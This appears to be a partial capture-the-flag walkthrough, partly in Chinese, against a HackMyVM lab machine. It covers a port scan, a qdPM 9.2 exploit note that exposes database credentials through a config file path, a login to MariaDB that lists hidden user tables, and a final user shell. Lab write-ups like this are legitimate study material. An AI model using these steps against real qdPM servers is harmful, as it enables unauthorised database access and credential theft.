sudo nmap -sT --min-rate 1000 -p- 192.168.1.130 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-16 14:45 CST Nmap scan report for portal.bah.hmv (192.168.1.130) Host is up (0.0013s latency). Not shown: 65533 closed tcp ports (conn-refused) PORT STATE SERVICE 80/tcp open http 3306/tcp open mysql MAC Address: 08:00:27:2A:70:45 (Oracle VirtualBox virtual NIC)
mysql匿名登录
1 2 3
kali@kali [~] ➜ mysql -h 192.168.1.130 -P 3306 -u root -p Enter password: ERROR 1698 (28000): Access denied for user 'root'@'192.168.1.4'
searchsploit -m php/webapps/50176.txt //下载文件 cat 50176.txt [14:57:32] # Exploit Title: qdPM 9.2 - DB Connection String and Password Exposure (Unauthenticated) # Date: 03/08/2021 # Exploit Author: Leon Trappett (thepcn3rd) # Vendor Homepage: https://qdpm.net/ # Software Link: https://sourceforge.net/projects/qdpm/files/latest/download # Version: 9.2 # Tested on: Ubuntu 20.04 Apache2 Server running PHP 7.4
The password and connection string for the database are stored in a yml file. To access the yml file you can go to http://<website>/core/config/databases.yml file and download
mysql -h 192.168.1.130 -P 3306 -u qpmadmin -p [14:59:50] Enter password: Welcome to the MariaDB monitor. Commands end with ; or \g. Your MariaDB connection id is 35 Server version: 10.5.11-MariaDB-1 Debian 11
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Support MariaDB developers by giving a star at https://github.com/MariaDB/server Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. MariaDB [(none)]> show databases; +--------------------+ | Database | +--------------------+ | hidden | | information_schema | | mysql | | performance_schema | | qpm | +--------------------+ 5 rows in set (0.009 sec)
Database changed MariaDB [hidden]> show tables; +------------------+ | Tables_in_hidden | +------------------+ | url | | users | +------------------+ 2 rows in set (0.001 sec)
rocio@bah:~$ id id uid=1000(rocio) gid=1000(rocio) groups=1000(rocio),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev) rocio@bah:~$